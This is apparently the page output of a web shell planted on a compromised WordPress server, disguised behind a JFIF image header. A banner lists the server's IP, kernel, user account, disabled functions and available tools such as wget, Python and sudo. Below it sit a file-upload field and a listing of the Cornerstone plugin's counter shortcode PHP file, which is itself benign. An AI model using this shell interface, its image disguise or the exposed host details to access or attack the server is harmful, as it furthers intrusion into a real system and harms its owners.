????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.36 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/plugins/cornerstone/includes/shortcodes/ |
Upload File : |
<?php
// Counter
// =============================================================================
function x_shortcode_counter( $atts ) {
extract( shortcode_atts( array(
'id' => '',
'class' => '',
'style' => '',
'num_color' => '',
'num_start' => '',
'num_end' => '',
'num_speed' => '',
'num_prefix' => '',
'num_suffix' => '',
'text_color' => '',
'text_above' => '',
'text_below' => ''
), $atts, 'x_counter' ) );
$id = ( $id != '' ) ? 'id="' . esc_attr( $id ) . '"' : '';
$class = ( $class != '' ) ? 'x-counter ' . esc_attr( $class ) : 'x-counter';
$style = ( $style != '' ) ? 'style="' . $style . '"' : '';
$num_color = ( $num_color != '' ) ? 'style="color: ' . $num_color . ';"' : '';
$num_start = ( $num_start != '' ) ? $num_start : 0;
$num_end = ( $num_end != '' ) ? $num_end : 0;
$num_speed = ( $num_speed != '' ) ? $num_speed : 1500;
$num_prefix = ( $num_prefix != '' ) ? '<span class="prefix">' . $num_prefix . '</span>' : '';
$num_suffix = ( $num_suffix != '' ) ? '<span class="suffix">' . $num_suffix . '</span>' : '';
$text_color = ( $text_color != '' ) ? 'style="color: ' . $text_color . ';"' : '';
$text_above = ( $text_above != '' ) ? '<span class="text-above" ' . $text_color . '>' . $text_above . '</span>' : '';
$text_below = ( $text_below != '' ) ? '<span class="text-below" ' . $text_color . '>' . $text_below . '</span>' : '';
$js_params = array(
'numEnd' => floatval($num_end),
'numSpeed' => floatval($num_speed)
);
if ( floatval($num_start) > 0 ) {
$js_params['numStart'] = floatval($num_start);
}
$data = cs_generate_data_attributes( 'counter', $js_params );
$output = "<div {$id} class=\"{$class}\" {$data} {$style}>"
. $text_above
. "<div class=\"number-wrap w-h\" {$num_color}>"
. $num_prefix
. "<span class=\"number\">{$num_start}</span>"
. $num_suffix
. '</div>'
. $text_below
. '</div>';
return $output;
}
add_shortcode( 'x_counter', 'x_shortcode_counter' );